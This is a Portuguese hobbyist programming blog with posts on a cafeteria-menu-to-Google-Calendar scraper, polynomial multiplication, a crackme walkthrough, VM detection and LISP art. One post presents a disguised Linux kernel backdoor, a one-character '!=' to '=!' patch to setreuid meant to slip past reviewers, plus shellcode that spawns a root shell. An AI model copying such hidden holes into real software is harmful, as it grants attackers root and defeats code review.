Mais um blog inútil.

Coding

Janeiro 28, 2010

Cantina da FCT UNL no Google Calendar (com SMS)

Arquivado em: coding, serious-business — falso @ 21:54

Ora Viva amigos!
Hoje venho aqui blogar não sobre uma coisa inútil como é habitual, mas sobre algo deveras útil!

Como devem saber (se não sabem, deviam!!!) eu há uns tempos tinha feito um parser à pagina das ementas no site dos Serviços de Acção Social da Universidade Nova de Lisboa que cria um RSS Feed onde se pode ver no Google Reader (ou outro) todos os dias a ementa do dia.

Mas já há uns tempos me tinham dito que na Universidade do Minho[ 1] há um marmanjo que importa as ementas lá do sitio para o Google Calendar. E vocês perguntam qual a razão para isso né? A beleza da cena é que no Google Calendar existe uma feature que permite enviar avisos de eventos por SMS, já viram onde isto nos leva né ;-)

Então decidi por mãos à obra e comecei a programar, decidi usar Python pois as APIs dos Serviços do Google parecem ser mais viradas para essa linguagem.

O primeiro problema era fazer parse da pagina da SAS, então descobri no Google um parser de HTML lindo chamado BeautifulSoup que até tem um *slogan* todo jeitoso - You didn’t write that awful page. You’re just trying to get some data out of it. Right now, you don’t really care what HTML is supposed to look like. Neither does this parser.
Em muito pouco tempo, sem usar uma única rege x lá consegui fazer parse ao site e sacar de la todos os dados que precisava.

Depois andei a cuscar o Google Data API Developer’s Guide: Python, e com a ajuda dos exemplos rapidamente fiz uma rotina que importava o que eu precisava para o Google Calendar.

Aqui se segue o código caso alguém queira implementar o mesmo para outras faculdades da UNL.

#!/usr/bin/env python
# this script can never fail
# -*- coding: utf-8 -*-

# This program is free software. It comes without any warranty, to
# the extent permitted by applicable law. You can redistribute it
# and/or modify it under the terms of the Do What The Fuck You Want
# To Public License, Version 2, as published by Sam Hocevar. See
# http://sam.zoy.org/wtfpl/COPYING for more details.

# urle de exemplo
# http://sas.unl.pt/cantina?year_menu:int=2010&month_menu:int=1&day_menu:int=25

import urllib
from BeautifulSoup import BeautifulSoup

try:
  from xml.etree import ElementTree # for Python 2.5 users
except ImportError:
  from elementtree import ElementTree
import gdata.calendar.service
import gdata.service
import atom.service
import gdata.calendar
import atom
import getopt
import sys
import string
import time

import datetime

# ids dos calendarios. almoco - almoco dieta - jantar - jantar dieta
cal_ids = ['/calendar/feeds/XXXXXXXXXXXXXXXXXXXXXXXXXX%40group.calendar.google.com/private/full',
          '/calendar/feeds/XXXXXXXXXXXXXXXXXXXXXXXXXX%40group.calendar.google.com/private/full',
          '/calendar/feeds/XXXXXXXXXXXXXXXXXXXXXXXXXX%40group.calendar.google.com/private/full',
          '/calendar/feeds/XXXXXXXXXXXXXXXXXXXXXXXXXX%40group.calendar.google.com/private/full']

# logar-se ao google
calendar_service = gdata.calendar.service.CalendarService()
calendar_service.email = 'XXXXXXXX@gmail.com'
calendar_service.password = 'XXXXXXXX'
calendar_service.source = 'Google-Calendar'
calendar_service.ProgrammaticLogin()

def ParsaSite(ano, mes, dia):
  params = urllib.urlencode({'year_menu:int': ano, 'month_menu:int': mes, 'day_menu:int': dia})
  f = urllib.urlopen("http://sas.unl.pt/cantina?%s" % params)
  soup = BeautifulSoup(f.read())

  # todas as cantinas
  cantinas = soup.findAll(attrs={'class' : 'cantina'})
  for cantina in cantinas:
    # verifica se o conteudo da class title e da FCT
    titletag = cantina.find(attrs={'class' : 'title'})
    if titletag.renderContents().count('ncias e Tecnologia'):
      # apanha o almoco
      almoco = titletag.nextSibling.nextSibling
      # percorre todos os pratos
      almoco_p = almoco.findAll('li')
      al = {}
      for prato in almoco_p:
        key = prato.next.renderContents()
        value = prato.next.next.next.next.next.renderContents()
        al[key] = value

      jantar = almoco.nextSibling.nextSibling
      jantar_p = jantar.findAll('li')
      ja = {}
      for prato in jantar_p:
        key =  prato.next.renderContents()
        value = prato.next.next.next.next.next.renderContents()
        ja[key] = value
      return (al, ja)

def InsereEvento(calendario_id, _data, refeicao, prato):
  evento = gdata.calendar.CalendarEventEntry()
  evento.title = atom.Title(text=prato)
  #evento.where.append(gdata.calendar.Where(value_string='Cantina FCT UNL - Monte de Caparica'))

  dt = datetime.datetime(_data.year, _data.month, _data.day)

  if refeicao == 1:
    inicio = dt + datetime.timedelta(hours=11,minutes=30)
    fim = dt + datetime.timedelta(hours=14,minutes=30)
  if refeicao == 2:
    inicio = dt + datetime.timedelta(hours=18,minutes=30)
    fim = dt + datetime.timedelta(hours=20,minutes=30)

  evento.when.append(gdata.calendar.When(start_time=inicio.isoformat(), end_time=fim.isoformat()))
  calendar_service.InsertEvent(evento, calendario_id)

dt = datetime.date.today()
while dt.weekday() < 5:
  (al, ja) = ParsaSite(dt.year, dt.month, dt.day)

  i = 0

  for k, v in al.iteritems():
    if k == 'Prato':
      InsereEvento(cal_ids[i], dt, 1, v)
    if k == 'Dieta':
      InsereEvento(cal_ids[i], dt, 1, v)
    i+=1

  i = 2

  for k, v in ja.iteritems():
    if k == 'Prato':
      InsereEvento(cal_ids[i], dt, 2, v)
    if k == 'Dieta':
      InsereEvento(cal_ids[i], dt, 2, v)
    i+=1

  # incrementa a data
  dt += datetime.timedelta(days=1)

# acabou boy

O script vai ser corrido todas as segundas durante a madrugada no cron.
Sei que o código não interessa a ninguém, e o que querem é os links para adicionar os calendários ao Google Calendar, portanto aqui vão.

Props pro webmaster do site da SAS por feito um HTML bem estruturadinho.

1 - Se alguém sofrer de algum problema de atraso mental e não souber activar as SMS no Google Calendar, no link para a Universidade do Minho está um documento a explicar como se faz

Janeiro 26, 2010

WP_Birds

Arquivado em: coding, serious-business, useless — falso @ 23:44

Ora viva!

Hoje como estava aborrecido e não me apetecia ir para a rua porque está um barbeiro do caralho decidi meter o blol a validar no w3c validator, primeiro estava com alta drama por causa do penisbird no source do site, mas depois lá aprendi que em HTML também existe o CDATA, e que se o usar por exemplo dentro dum paragrafo posso meter lixo para la à vontade.
E com isto lá pus o blol a validar, mas fiquei com um bichinho atrás da orelha, porque só um penisbird quando podemos ter um molho deles, então tentei seguir as passadas do grande Mario Gamito e decidi também eu fazer um plugin para o WordPress que adiciona penisbirds aleatórios no fim do blog mesmo antes do fechar do BODY.
Sei que é a coisa mais inútil de sempre, mas, é para isso que cá estou eu!
Download: wp_birds_0.1.zip

Novembro 5, 2009

Detecção de Máquinas Virtuais

Arquivado em: coding — charlie-lindinho @ 08:01

oi lindinhos. daqui falo-vos de coisas simples, desta vez de detecção de máquinas virtuais através do OUI (organizationally unique identifier) presente num MAC address (primeiros 3 bytes). o engraçado disto é pode ser aplicado tanto localmente, como remotamente.

aqui fica um pequeno exemplo capaz de detectar localmente o virtualbox e o vmware player :

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>


int main(){


    unsigned int sfd; unsigned char *mac;

    struct ifreq ifr;

    sfd = socket(AF_INET, SOCK_DGRAM, 0);
    strcpy(ifr.ifr_name, "eth0");
    ioctl(sfd, SIOCGIFHWADDR, &ifr);

    mac = (unsigned char *) ifr.ifr_hwaddr.sa_data;

    /* virtualbox 3.0.8 / vmware player 3.0.0 OUIs */

    if(!(memcmp(mac, "\x08\x00\x27", 3)) || !(memcmp(mac, "\x00\x0c\x29", 3)))
        puts("VM detected!");


}

a quem interessar, prometo depois voltar a falar sobre o assunto. adeus.

[07:38:23] David says: se nao falares da gatinha esses posts nao funcionam

Backdoor em Lunix Kernel

Arquivado em: coding, linux — charlie-lindinho @ 07:57

oi lindinhos, assim num piscar de peida, apresento-vos uma forma simples e subtil de inserir uma backdoor num linux kernel e para isso foquei-me particularmente na syscall setreuid :

SYSCALL_DEFINE2(setreuid, uid_t, ruid, uid_t, euid)
{
	const struct cred *old;
	struct cred *new;
    int retval;
	...

    if (new->uid != old->uid) 
	{
        retval = set_user(new);
		if (retval < 0)
			goto error;
    }
	...

se quisessemos “backdoorar” a syscall em questao bastava-nos negar o valor do uid antigo e atribuir o valor do mesmo ao novo uid antes da funcao set_user.

e como negar o valor do uid actual ? tenham em conta o seguinte exemplo :

charlie@inferno:[~]$ cat > getuid.c << EOF
>#include <stdio.h>
>
>int main() {
>
>	printf("uid=%d\n", !getuid());
>}
>EOF
charlie@inferno:[~]$ gcc -o getuid getuid.c
charlie@inferno:[~]$ id
uid=1001(charlie) gid=100(users) groups=100(users)
charlie@inferno:[~]$ ./getuid
uid=0
charlie@inferno:[~]$

como podem verificar, o valor devolvido pela funcao getuid foi negado pelo operador “!” por outro lado, se o nosso uid fosse 0, o valor apresentado seria 1 :

charlie@inferno:[~]$ sudo ./getuid
Password:
uid=1
charlie@inferno:[~]$

entao para atribuir o valor *negado* do antigo uid ao novo uid e assim obter root atraves da syscall setreuid, basta-nos substituir a linha

if (new->uid != old->uid) por if (new->uid =! old->uid).

no que toca a codigos de *mil* linhas, como o do linux kernel, e’ pouco provavel que um par de olhos cansados e cheios de cavalo note a diferenca entre um “!=” e “=!”.

aqui vai o patch :

[ setreuid.patch ]

--- kernel/sys.c
+++ kernel/sys.c
@@ -636,7 +636,7 @@
                        goto error;
        }

-       if (new->uid != old->uid) {
+       if (new->uid =! old->uid) {
                retval = set_user(new);
                if (retval < 0)
                        goto error;



charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo patch -p0 < setreuid.patch
Password:
patching file kernel/sys.c
charlie@inferno:[/usr/src/linux-2.6.29.1]$ sudo make bzImage &> /dev/null
charlie@inferno:[/usr/src/linux-2.6.29.1]$ gdb vmlinux
    (no debugging symbols found)
    (gdb) disas sys_setreuid

...

0xc1030e98 <sys_setreuid+149>:  xor    eax,eax				eax = 0
0xc1030e9a <sys_setreuid+151>:  cmp    DWORD PTR [edi+0x4],0x0		compara o uid antigo com 0x0
0xc1030e9e <sys_setreuid+155>:  sete   al				al = 0 (zero flag = 0)
0xc1030ea1 <sys_setreuid+158>:  test   eax,eax				
0xc1030ea3 <sys_setreuid+160>:  mov    DWORD PTR [esi+0x4],eax		uid novo = eax (0)

...

(gdb) q
charlie@inferno:[/usr/src/linux-2.6.29.1]$

reboot, siga, fumos.

charlie@inferno:[~]$ cat > org.asm << EOF
>         bits 32
>
>
>         global  _start
>
>
>         _start
>
>
>         push    byte    0x46
>         pop     eax
>
>         dec     ebx
>         dec     ecx
>
>         int     0x80
>
>         inc     ecx
>         push    ecx
>         push    dword   0x68732f2f
>         push    dword   0x6e69622f
>
>         push    esp
>         pop     ebx
>
>         push    byte    0xb
>         pop     eax
>
>         int     0x80
> EOF
charlie@inferno:[~]$ nasm -f elf org.asm && ld -o orgasm org.o
charlie@inferno:[~]$ ./orgasm
bash-3.1# id
uid=0(root) gid=100(users) groups=100(users)
bash-3.1# exit
charlie@inferno:[~]$

tendo em conta que provavelmente este sera’ o meu ultimo post para as intermetes, so vos digo :
gosto muito da minha gatinha e acho que ela gosta de mim.
eu sou maluco e eu tambem. adeus.

Outubro 2, 2009

Sites em C

Arquivado em: assembly, coding, useless — falso @ 02:23

Ora viva!

Já desde há uns tempos que se tinha falado nos mirques sobre fazer sites super optimizados em C à-lá-OpenBSD.

Então hoje num momento de aborrecimento decidi fazer um!

Teve de ser alta executável estático para poder ser executado dentro do chroot do Apache.

Basicamente, é uma pagina central mais dois requests que são feitos por ajax com ajuda do jQuery.

Até inclui alta inline assembly cortesia do dongs!

Vejam-no em acção aqui: lolajax (a extensão é .exe só para ser mais hacker, porque o que retorna é html ;-).

Setembro 16, 2009

Multiplicação de Polinómios

Arquivado em: coding, serious-business, useless — dcoder @ 20:17

Depois de um breve hiato, volto a este Blol colocar pensamentos inúteis. E hoje pensei na multiplicação de polinómios - em particular, polinómios com coeficientes mod 2, i.e.

$$\mathbb{F}_2[x]$$

. Como é que representamos estes polinómios?

Dado que cada coeficiente apenas pode ser 0 ou 1, podemos utilizar apenas um bit para estes. Assim, se tivermos um polinómio

$$x^3 + x + 1$$

, representamos o mesmo por 0b1011 ou 0x0B.

A adição de polinómios é trivial - consiste unicamente em aplicar a operação XOR, dado que XOR é adição mod 2. A multiplicação pode ser efectuada como efectuamos multiplicações de inteiros, excepto que ignoramos todos os transportes ( carries). Podemos então implementar uma multiplicação de polinómios como:

u32 polymul(u32 a, u32 b)
{
  u32 z = 0;
  while(b != 0)
  {
    if(b&1 != 0)
      z ^= a;
    b >>= 1; a <<= 1;
  }
  return z;
}

Isto, no entanto, contém branching e operações condicionais. Se usarmos C++, podemos criar uma função sem qualquer loop que nos permita efectuar a mesma operação:

template<u32 N>
inline u32 mul(u32 a, u32 b)
{
  return (a & -(b&1)) ^ mul<N-1>(a<<1, b>>1);
}

template<>
inline u32 mul<0>(u32 a, u32 b)
{
  return 0;
}

O parâmetro N, utilizado na instanciação da função, corresponde ao grau máximo dos polinómios de entrada. No caso de um inteiro de 32 bits, a soma dos graus de a e b não poderá exceder 32, de forma a evitar overflows.

Agosto 25, 2009

printf("oi lindinhos!\n");

Arquivado em: assembly, coding, cracking, useless — charlie-lindinho @ 20:06

há mil dias li um post do *xorl* intitulado de “Funny C programming interview questions”, achei uma certa piada ao raio do post e resolvi escrever aqui sobre isso.

no post o xorl apresenta a solução para uma das questões colocadas neste *site*, no qual nos é questionado se é possível fazer com que a variável “i” apresente outro valor, senão “2”, apenas adicionando código à função foo().

#include <stdio.h>
#include <stdlib.h>

void foo(void);

int main (void)
{
	int i=2;
	foo();
	printf ("%d\n",i);
	return EXIT_SUCCESS;
}

void foo(void)
{
	// add code so that printf above prints different value of i (i.e. not 2)
} 

a primeira coisa que me ocorreu (em mil milésimos de segundo) foi modificar directamente o valor de “i” através da função “printf” e então fiz o seguinte :

#include <stdio.h>
#include <stdlib.h>

void foo(void);

int main(void)
{
	int i = 2;
	foo();
	printf("%d\n", i);
	return EXIT_SUCCESS;
}

void foo(void)
{
	unsigned long addr;
	__asm("movl %%ebp, %0" : : "m"(addr));
	printf("%1$n", addr += 24);
}

o que fiz aqui foi calcular o endereço da variável “i” apartir do base pointer (EBP) e fazer com que a funçao printf escrevesse 0 bytes no endereço da mesma através do especificador de formato “%n”.

bash-3.1# gcc -o printf printf.c
bash-3.1# ./printf
0
bash-3.1# 

ainda assim existe outra solução óbvia da qual me lembrei também, que consiste em fechar o file descriptor utilizado pela função printf ( stdout ) depois da função foo().

void foo(void)
{
	fprintf(stderr, "%d\n", 0);
	close(1);
}

queria dedicar este post inútil ao cavalo que morreu hoje atropelado no brasil.

Agosto 21, 2009

oi lindinhos do craking

Arquivado em: coding, cracking, useless — charlie-lindinho @ 11:07

aqui há tempos ( há mil dias ) prometi ao david publicar umas merdas sobre anti-debugging
e ao pedro enviar um crackme, mas em vez disso ( e porque sou uma merda )
resolvi apresentar aqui um exemplo de fácil compreensão e a devida explicação.

aqui vai disto :

root@inferno:[~/dev/cracking]# gdb crackme
(no debugging symbols found)
(gdb) set disassembly-flavor intel
(gdb) set write
(gdb) show write
Writing into executable and core files is on.
(gdb) file crackme
Reading symbols from /root/dev/cracking/crackme…(no debugging symbols found)…done.

(gdb) disas _start
Dump of assembler code for function _start:
0x08048060 <_start+0>: pop eax
0x08048061 <_start+1>: dec eax
0x08048062 <_start+2>: and eax,eax
0x08048064 <_start+4>: je 0x8048080

o valor de argc é copiado para o registo EAX, em seguida este é decrementado,
pois se o crackme for executado sem argumentos o valor de argc será 1.

em seguida é realizada a operaçao lógica AND com o propósito de verificar
se o valor que reside em EAX ( argc ) é zero, caso seja, a função exit é então executada.

0x08048066 <_start+6>: mov bl,0x3
0x08048068 <_start+8>: inc eax
0x08048069 <_start+9>: and eax,ebx
0x0804806b <_start+11>: jne 0x8048080
End of assembler dump.

aqui é atribuido o valor 3 ao registo EBX
e o registo EAX, ao ser incrementado, contém agora o valor real de argc.

por fim é novamente realizada a operação lógica AND com os registos EAX e EBX.
se estes forem diferentes a função exit é executada, caso contrário
( se o numero de argumentos corresponder a 3 ) passamos à função done.

(gdb) disas done
Dump of assembler code for function done:
0x0804806d <done+0>: xor ebx,ebx
0x0804806f <done+2>: push 0xa
0x08048071 <done+4>: push 0x656e6f64
0x08048076 <done+9>: mov al,0x4
0x08048078 <done+11>: mov bl,0x1
0x0804807a <done+13>: mov dl,0x5
0x0804807c <done+15>: mov ecx,esp
0x0804807e <done+17>: int 0x80
End of assembler dump.
(gdb) disas exit
Dump of assembler code for function exit:
0x08048080 <exit+0>: push $0x1
0x08048082 <exit+2>: pop %eax
0x08048083 <exit+3>: int $0x80
End of assembler dump.

(gdb) r 1 2 3
Starting program: /root/dev/cracking/crackme 1 2 3
(no debugging symbols found)
done

Program exited with code 01.

(gdb) x/4b _start+4
0x8048064 <_start+4>: 0x74 0x1a 0xb3 0x03
(gdb) p 0x1a
$1 = 26

( onde 0x74 é o opcode da instrução JE e 0x1a, 26 em decimal. )

ou seja, para efectuar o “je done” em vez de “je exit”
basta-nos calcular a distância em bytes entre a instrução JE e a função done, que é de 7 bytes.

(gdb) p 11-4
$2 = 7

uma vez que temos permissão para escrever no executável,
vamos então modificar um byte no segmento de código do mesmo
e posteriormente executá-lo sem argumentos :

(gdb) set *0x08048064 = 0x03b30774

(gdb) x/4b 0x08048064
0x8048064 <_start+4>: 0x74 0x07 0xb3 0x03
(gdb) x/i 0x08048064
0x8048064 <_start+4>: je 0x804806d

(gdb) set write off
(gdb) file crackme
Reading symbols from /root/dev/cracking/crackme…(no debugging symbols found)…done.
(gdb) run
Starting program: /root/dev/cracking/crackme
(no debugging symbols found)
done

Program exited with code 01.
(gdb) q
root@inferno:[~/dev/cracking]#

como podemos verificar, foi-nos apresentada a mensagem “done”, cumprindo assim o objectivo deste crackme.
deixo-vos aqui uma pequena merda que fiz em hepatite C para facilitar ainda mais a tarefa.

agora vou beber mil cervejas para esquecer que escrevi isto e vou dormir.

[ crackme-patch.c ]

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>FILE *fp;

int main(int argc, char **argv){

unsigned int offset;
char *file = argv[1];

struct stat st;

if(stat(file, &st))
return EXIT_FAILURE;

fp = fopen(file, "r+");
offset = st.st_size;

while (offset) {

fseek(fp, offset, SEEK_SET);

if (fgetc(fp) == 0x1a)
patch(offset);

offset--;

}

fclose(fp);

return EXIT_SUCCESS;
}

int patch(int num){

printf("patching ... ");

fseek(fp, num, SEEK_SET);
fputc(0x07, fp);

printf("done.\n");

}

root@inferno:[~/dev/cracking]# nasm -f elf crackme.asm && ld -o crackme crackme.o
root@inferno:[~/dev/cracking]# ./crackme
root@inferno:[~/dev/cracking]# gcc -o crackme-patch crackme-patch.c
root@inferno:[~/dev/cracking]# ./crackme-patch ./crackme
patching ... done.
root@inferno:[~/dev/cracking]# ./crackme
done
root@inferno:[~/dev/cracking]#

PS: Este post foi feito plo MaDiNfO, já que o o charlie é uma merda e nem login consegue fazer com o seu proprio nick... (firefail dramas)

Agosto 4, 2009

Arvorezinha - LISP take 2

Arquivado em: arvorezinha, coding, drama, fail, useless — falso @ 22:23

Oi!

Segundo a LISP Police, vim a saber que a primeira arvorezinha em LISP do _Lone_Wolf_ não cumpria os standards definidos pelo rfc da arvorezinha, e ele para não sofrer as consequências redimiu-se com uma versão totalmente standard. Aqui vai ela:

  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
Welcome to GNU CLISP 2.47 (2008-10-23) <http://clisp.cons.org/>
Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000
Copyright (c) Sam Steingold, Bruno Haible 2001-2008
Type :h and hit Enter for context help.
[1]> (loop
    (loop for i from 1 to 4 do
        (loop for j from 1 to i do
            (write-char #\*)
        )
        (terpri)
    )
    (return '*****)
)
*
**
***
****
*****

Arvorezinha - OpenGL

Arquivado em: arvorezinha, coding, java, windows — falso @ 22:17

Ora viva. Trago-vos uma nova uma submissão para a saga da arvorezinha, desta meu amigo João Saramago. Aqui vai:

Como prometi aqui vai.
Não consegui foi por em applet. Precisa de dll’s :S.

Só funciona em Windows. Mas se quiseres posso fazer binários para Linux e para Mac.

Estão ai os binários e o source.

arvorezinha.zip

E claro como toda a gente gosta de screenshots, aqui vão, até porque merece, porque é uma árvore completa em vez de ser só meia.

arvorezinha1arvorezinha2